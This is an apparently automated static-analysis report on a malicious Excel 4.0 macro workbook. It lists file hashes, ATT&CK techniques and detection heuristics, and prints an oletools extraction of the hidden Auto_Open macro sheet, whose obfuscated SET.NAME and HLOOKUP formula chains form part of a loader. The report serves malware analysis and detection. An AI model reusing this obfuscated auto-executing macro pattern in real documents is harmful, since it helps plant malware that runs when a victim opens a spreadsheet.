Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45f7965e784a9e2c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:01 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: aef8e94c089eb854ff05fa01a24e36c7 SHA-1: 895a0d509244c9f0329ff953908c33190573292b SHA-256: 45f7965e784a9e2c4afdf5a3aab0e56328cc8d54a6423b9790c1a028c4e92adf
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that contains an Auto_Open defined name, indicating that it will execute macros automatically when opened. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code. While the exact payload is not discernible from the provided evidence, the Auto_Open macro is a common technique for initial execution of malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6509 bytes
SHA-256: c149e533d9412d29b8e27d2321bf5fd9f753ea611cbe52e8f105f1df3134bb50
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GiK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C151 
' 0018     22 LABEL : Cell Value, String Constant - BaeSYAG len=0 
' 0018     22 LABEL : Cell Value, String Constant - BATMmUC len=0 
' 0018     23 LABEL : Cell Value, String Constant - CkCmFzjH len=0 
' 0018     20 LABEL : Cell Value, String Constant - EuaLv len=0 
' 0018     21 LABEL : Cell Value, String Constant - fLkYxK len=0 
' 0018     21 LABEL : Cell Value, String Constant - HIlIxP len=0 
' 0018     22 LABEL : Cell Value, String Constant - HWrDzyi len=0 
' 0018     27 LABEL : Cell Value, String Constant - JCoGFRmKfGHZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - NGZsTJD len=0 
' 0018     25 LABEL : Cell Value, String Constant - NMEmeNpVKo len=0 
' 0018     24 LABEL : Cell Value, String Constant - qtZphkZiu len=0 
' 0018     23 LABEL : Cell Value, String Constant - rClIGrZo len=0 
' 0018     20 LABEL : Cell Value, String Constant - RgJqr len=0 
' 0018     20 LABEL : Cell Value, String Constant - tcwwq len=0 
' 0018     24 LABEL : Cell Value, String Constant - TsMsGwtKL len=0 
' 0018     25 LABEL : Cell Value, String Constant - tWMCIWgkrC len=0 
' 0018     24 LABEL : Cell Value, String Constant - tXKrEpEyg len=0 
' 0018     23 LABEL : Cell Value, String Constant - UxSpShxH len=0 
' 0018     23 LABEL : Cell Value, String Constant - yJTTMoyf len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZcUBZqjUXv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GiK,C52,"SET.NAME("NMEmeNpVKo",0+VALUE("0"))",""
'  GiK,C55,"SET.NAME("HWrDzyi",NMEmeNpVKo)",""
'  GiK,C60,"SET.NAME("tcwwq",NMEmeNpVKo)",""
'  GiK,C62,"SET.NAME("JCoGFRmKfGHZ",COUNTA(TsMsGwtKL))",""
'  GiK,C65,"SET.NAME("rClIGrZo",COUNTA(NGZsTJD))",""
'  GiK,C70,[],""
'  GiK,C75,"SET.NAME("qtZphkZiu","")",""
'  GiK,C79,"HWrDzyi",""
'  GiK,T82,"",777.00000000000000000000
'  GiK,T83,"",-700.00000000000000000000
'  GiK,C84,"SET.NAME("yJTTMoyf",HLOOKUP("*",TsMsGwtKL,HWrDzyi,FALSE))",""
'  GiK,T84,"",991.00000000000000000000
'  GiK,T85,"",-950.00000000000000000000
'  GiK,C86,"BATMmUC",""
'  GiK,T86,"",-600.00000000000000000000
'  GiK,T87,"",467.00000000000000000000
'  GiK,C91,"SET.NAME("fLkYxK",NMEmeNpVKo)",""
'  GiK,C93,[],""
'  GiK,C97,"fLkYxK",""
'  GiK,C101,"RgJqr",""
'  GiK,C105,"ZcUBZqjUXv",""
'  GiK,C108,"EuaLv",""
'  GiK,C110,"SET.NAME("UxSpShxH",VALUE(HLOOKUP("*",NGZsTJD,EuaLv,FALSE)))",""
'  GiK,C112,"HIlIxP",""
'  GiK,C114,"qtZphkZiu",""
'  GiK,C118,"tcwwq",""
'  GiK,C121,NEXT(),""
'  GiK,C126,"CkCmFzjH",""
'  GiK,C131,[],""
'  GiK,C136,"tWMCIWgkrC",""
'  GiK,C141,NEXT(),""
'  GiK,C146,RETURN(),""
'  GiK,C171,"SET.NAME("BaeSYAG",C52)",""
'  GiK,C173,"TsMsGwtKL",""
'  GiK,C175,"SET.NAME("NGZsTJD",R49C13)",""
'  GiK,C177,"SET.NAME("tWMCIWgkrC",185)",""
'  GiK,C179,"SET.NAME("tXKrEpEyg",3)",""
'  GiK,C184,BaeSYAG(),""
'  GiK,C185,HALT(),""

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